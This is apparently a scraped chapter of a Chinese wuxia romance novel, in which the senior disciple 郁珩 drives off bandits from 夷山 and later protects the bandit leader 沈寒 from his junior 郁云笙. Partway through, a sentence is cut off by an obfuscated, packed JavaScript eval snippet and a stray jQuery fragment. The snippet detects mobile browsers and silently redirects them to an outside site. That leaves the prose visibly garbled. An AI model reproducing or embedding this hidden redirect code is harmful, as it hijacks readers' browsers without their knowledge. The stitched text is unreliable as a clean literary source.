夷心堂前,挂着许多山水画。并非什么名家大作,只是夷山派经营至今,实在是有些寥落,外面粮价疯涨,能当的全当了,这些市场上便宜淘来的画作,挂在墙上勉强遮丑罢了。
此时此刻,匪子上山把这些画团了团撕了,反倒令人没那么心疼。
为首的匪子是个彪形大汉,没想到自己上了夷山,还能喝上碗茶。他坐在咯吱作响的椅子上,品了一口,发觉这里的茶还不如不归寨的好喝。一口没咽下去,直接喷在了地上。
一旁上茶的夷山弟子气得指着他,“你”了半天也无可奈何,气得脸成了猪肝色。
郁珩坐在一旁静静望着这一切,并没有开口。他素来是个少言寡语的人,也鲜少动怒。这群匪子于他来说实在不值得多说什么,上茶也不过是夷山的待客之道罢了。
他微微侧首,悄声问一旁的师弟,“师父仍在朝雪堂议事?”
“是了,县令一早就来叩山门,想必和匪子内乱有关。师兄,要不我去朝雪堂传信,让掌门出面解决此事?”
郁珩垂眼,情绪被鸦羽般的眼睫遮盖。
县令来夷山,定然是因为不归寨之变。
自从狄人入侵中原,举国陷入战乱之中,望仙县的官兵再也无力维护百姓安全。三足鼎立已经是望仙稳定的常态,避世而居的夷山,捉襟见肘的县衙,兵强马壮的不归寨,相互争斗不休,却也勉强安稳。
随着沈寒倒台,这本就摇摇欲坠的局面也要变上一变。夺了寨主之位的殷九本是沈寒的副手,此人阴狠毒辣,只会比沈寒更难对付。
县令定是为此事而来。
若是此时让朝雪堂知晓此事,以县令的性子,定然要出面震慑这群山匪。官兵与山匪势不两立,夷山派勉强算是中立,这样不必要的争斗最好不要发生。
思及此处,郁珩微微摇头,继续问道:“薛敢呢?还在后山吗?”
“方才我来的时候遇到薛师兄,说是要召集师兄弟们,把匪子赶下山去。”
郁珩微微蹙眉,随即这一点的情绪也被他压下去。他就知道薛敢不靠谱,面上不动声色,心头不禁有些烦躁,望向匪徒的时候,也无心与他们周旋。
郁珩平静地起身,白衣胜雪,气度非凡。
匪徒以为他有话要说,却眨眼的功夫,自己屁股下的椅子碎成了两截。
一众匪徒惊得大眼瞪小眼,他们根本看不清楚郁珩到底是何时出手的。甚至郁珩的那把雪辞剑,还好好躺在他身边。剑法之快,令人胆寒。
不应该啊,之前沈寨主带他们上夷山的时候,这群人不是任人欺负的草包吗?
彪形大汉匪徒已然有了些退意,他本就是领命来勘察情况,实在不必把命搭在这里。可他还是虚张声势起身,声若擂鼓,怒喝道:“你他娘的小白脸!想动手是吧!”
“你们要找的人,夷山没有。”
“没有?”大汉走到郁珩跟前,上下打量着他,可对方没有任何表情,他什么也瞧不出来,“你说没有就没有?没有就让我们弟兄们搜一搜,全当你们自证清白。”
“诸位当真要硬闯夷山?”
“我还就闯了,怎么地了?”
“若是破了夷山也罢,未破夷山,诸位便是要与夷山开战。夷山虽处江湖,收拾一个匪寨也不算违背门规。届时奋力一搏,与不归寨拼个血流成河,能让官府坐收渔翁之利,也是为百姓除害了。”
“你……”
大汉琢磨了下。这小白脸武艺深藏不露,夷山更是深藏不露。真打起来,不好说孰强孰弱。他不确定郁珩是不是虚张声势,可殷九若是知道自己擅自动武挑起纷争,定是要砍了自己的。
于是大汉在郁珩面前那块地上啐了一口,带着弟兄想要下山。
“且慢。”郁珩开口,轻飘飘伸出一只手,摊开在大汉面前。动作斯文有礼,不像要东西,反倒像是赠礼。
别说匪徒,连夷山自己的弟子也不知道大师兄这是抽的什么疯。
郁珩道:“椅子一把,画作两幅,赔钱。”
大汉怒喝一声,“你找死!”
可再看郁珩那双寒潭似的眼眸,掂量片刻,还是掏出了个布袋,从里面拽出贯钱丢在郁珩手里,骂骂咧咧地下山了。
待匪子走了,郁珩拍了拍衣摆的尘土,转身朝后山走去。
方才跟在他身后的师弟道:“师兄,不愧是你。三言两语就把这些匪子吓退,还能让他们赔钱。我看这些匪子也就这么回事,没了那水鬼什么也不是。”
郁珩望了他一眼,“君子守礼,不妄议他人。”
师弟捂了捂嘴,追着郁珩的脚步道:“错了错了。”
林间挂着银带般的雪,万籁俱寂,二人匆匆穿过后山,却见眼前一个夷山弟子急匆匆赶来。
夷山派掌门只有一个弟子,便是郁珩。自幼行为端方,清辉朗润,待人接物皆合礼数,有松筠之节。加上相貌堂堂,人淡如水,行为举止从不逾矩,是个冷面无私的大师兄。夷山派的弟子敬他爱他,却也有些怕他。
那小跑而来的夷山弟子见到郁珩,脚步都慢下来,仪态也端正了许多。只是一路奔跑难免气喘吁吁,对郁珩道:“大师兄,后山要出大乱子了,您快去瞧瞧吧!”
郁珩目光一凛,“怎么回事?”
“郁师姐听说水鬼在那……就……就……杀去苓庐了!”
不用他说完,郁珩就猜到是怎么回事。
郁云笙找他闹过一次,他以掌门准许沈寒留下将人哄走。定是郁云笙心有不甘,去寻沈寒麻烦了。她是掌门独女,平日小性子多,即便掌门准许沈寒留下,只要她想将人赶走,这些师弟师妹哪敢拦着。
郁珩心中一清二楚,沈寒聪慧狡黠,满腹坏点子。能做不归寨的枭雄,自然也不会被郁云笙为难了去。
可想到后山的境况,郁珩的脚步还是不自觉加快了,人虽仍是端方的仪态,脚下却乘了风似的。旁人只道一个白衣翻飞的少侠若清朗的风吹过后山,却也无法从郁珩脸上看出焦急之态。
师弟添油加醋路上大致说了一番怎么回事,郁珩心中了然,只是人到了苓庐门前,看到了眼前一幕,还是心里一紧。
那本是为祸一方的乱世枭雄,如今只穿了件白色的单襦。冰天雪地,夷山弟子都有个毛领子御寒,她瑟缩在地上,露出的肌肤都被冻得通红一片。衣衫上染了血,绽开好似院子里的红梅。
寒风掀起的时候,带着树枝上残存的雪屑。那一刻时空交汇,郁珩仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353303|199654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转眼回到了十年前,望仙县那场河神大祭。
也是一场罕见的大雪,濛水上结了一层厚厚的冰。那时的他站在濛沙街上,看着眼前发生的一切,颠覆了他对人性本善的认知。
此时,沈寒见郁珩已经站定在门前,虽看不出什么神情,面色却也不算好。
氛围烘托到了,还差一把火。
沈寒眼波流转,换上一副柔弱的神态,目光飘向郁云笙,“女侠为何要伤我……”
郁云笙处在震惊中,突然被泼了脏水,顿时怒火中烧,“你这妖女休要胡言,我何时伤你过?”
“我明白女侠恨我,我也没想到会给夷山带来此等麻烦。如今我只想快些离开夷山,还望女侠高抬贵手。”
沈寒顶着惨白的脸,漂亮的眉眼因为疼痛完全拧成一团。她颤抖着起身,在雪地里一步一个脚印朝苓庐外走去。不卑不亢,也不计较,是一个完美的受害者,仿佛她真的一心为夷山的安慰着想。
沈寒心里盘算着,郁云笙本是同薛敢一同来到苓庐,虽没有进屋探望,却却也没有找自己茬。她是不希望自己留在夷山,却没有眼下这般激愤。方才又提到了郁珩,定然是匪子到来,郁云笙想劝郁珩将自己赶出去,却被郁珩拒绝。
沈寒想不透郁珩的心思,却轻而易举想明白了郁云笙的心思。若是掌门拒了郁云笙,她未必会如此生气。
郁云笙多半是对郁珩有些思慕的。
于是沈寒边朝前走,边说:“即便是郁少侠有心留我,我也不会强留令女侠不快。只是那日山门前,郁少侠对我说了些话……”
果然,郁云笙一提及郁珩,整个人神乱智昏,紧步追上前去,“你别胡言了,是郑师姐将你救了回来。大师兄从未想留你,更不会对你说什么话。”
两个人离得很近,沈寒一丝一毫感情波动都落入郁云笙眼底。她看似已经心力交瘁,实则眼里透出些狡黠,用只有二人能听到的声音,妩媚地吐出一句,“你大师兄说,他被我掳去,与我好不快活。玉质高洁,奈何落入泥垢,就算收留我,与我用一齐沉沦,又有何妨?”
这话实在下流,郁云笙也不过是个二八之年的姑娘家,听完脑子轰然炸开,脸颊浮上羞红。
“你竟敢辱没师兄!我跟你拼了!”
沈寒跌跌撞撞躲闪,一副悲愤交加的委屈模样,令郁云笙忍无可忍,随身的朱曦佩剑不出鞘朝沈寒砸去。
沈寒两眼一闭,心中痛快。
砸!狠狠的砸!最好将我劈得伤筋动骨,我也算赖上你们夷山派了!
耳边传来簌簌雪声,意料之中的痛感并没有落下。
沈寒恍惚睁开眼,却没想到郁珩横身挡在自己前,手折一朵红梅,四两拨千斤将郁云笙的朱曦剑弹开。
梅花枝子抖了抖,花瓣纷纷飘落。风雅清举的少侠眉目透着冷清,身形挡住了大片天光。他轻描淡写却仗义出手的动作,惹起了一阵梅香。
沈寒怔住了。
他会出手吗?
郁珩是会为自己出手的人吗?
沈寒还来不及应对这意料之外的变故,在幽馥郁的梅香里,郁珩卸了他那带着毛领子的氅衣,披在了沈寒身上,遮住了她单薄伶仃又不够维持自己体面的单襦。